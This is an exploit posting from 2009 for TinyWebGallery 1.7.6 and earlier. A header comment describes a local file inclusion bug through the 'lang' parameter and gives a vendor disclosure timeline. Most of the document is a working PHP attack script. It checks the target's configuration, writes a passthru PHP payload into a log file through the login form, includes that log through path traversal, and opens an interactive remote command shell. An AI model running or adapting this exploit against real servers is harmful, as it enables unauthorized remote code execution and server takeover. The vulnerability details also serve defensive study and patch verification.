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tinywebgallery-lfiexec.txt

Posted on 08 May 2009

<?php

/*
-----------------------------------------------------------
TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
-----------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.tinywebgallery.com/
details..: this vulnerability drift from QuiXplorer (http://quixplorer.sourceforge.net/)

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] vulnerable code in /admin/_include/init.php

110.	// Get Language
111.	if (isset($GLOBALS['__GET']["lang"]))  $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__GET']["lang"];
112.	elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] =  $GLOBALS['__POST']["lang"];
113.	else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"];
114.	else $GLOBALS["language"] = $GLOBALS["default_language"];
115.
[...]
138.
139.	// ------------------------------------------------------------------------------
140.	// Necessary files
141.	require _QUIXPLORER_PATH . "/_config/conf.php";
142.
143.	if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
144.	    require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
145.	else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
146.	    require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
147.	else
148.	    require _QUIXPLORER_PATH . "/_lang/en.php";

An attacker could be able to include arbitrary local files through the require function at line 144, due to
$_GET['lang'] parameter isn't properly sanitised. Successful exploitation requires magic_quotes_gpc = off

[-] Disclosure timeline:

[14/04/2009] - Bug discovered
[25/04/2009] - Vendor contacted
[26/04/2009] - Vendor replied
[26/04/2009] - Fix released: http://www.tinywebgallery.com/forum/viewtopic.php?t=1653
[08/05/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
die("
socket_create(): " . socket_strerror($s) . "
");

if (socket_connect($s, $host, 80) == false)
die("
socket_connect(): " . socket_strerror(socket_last_error()) . "
");

socket_write($s, $packet, strlen($packet));
while ($m = socket_read($s, 2048)) $response .= $m;

socket_close($s);
return $response;
}

function check_target()
{
global $host, $path;

$packet  = "GET {$path}info.php?showphpinfo=true HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Connection: close

";

preg_match('/magic_quotes_gpc</td><td class="v">(.*)</td><td/', http_send($host, $packet), $match);

if ($match[1] != "Off") die("
[-] Exploit failed...magic_quotes_gpc = on
");
}

function inject_code()
{
global $host, $path;

$code	 = "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${die} ?>";
$payload = "p_user={$code}&p_pass=";

$packet  = "POST {$path}admin/index.php?action=login HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: application/x-www-form-urlencoded
";
$packet .= "Connection: close

";
$packet .= $payload;

http_send($host, $packet);
}

print "
+---------------------------------------------------------------------+";
print "
| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";
print "
+---------------------------------------------------------------------+
";

if ($argc < 3)
{
print "
Usage......: php $argv[0] host path
";
print "
Example....: php $argv[0] localhost /";
print "
Example....: php $argv[0] localhost /twg/
";
die();
}

$host = $argv[1];
$path = $argv[2];

check_target();
inject_code();

$packet  = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";

while (1)
{
print "
twg-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("
[-] Exploit failed...
");
}

?>

 

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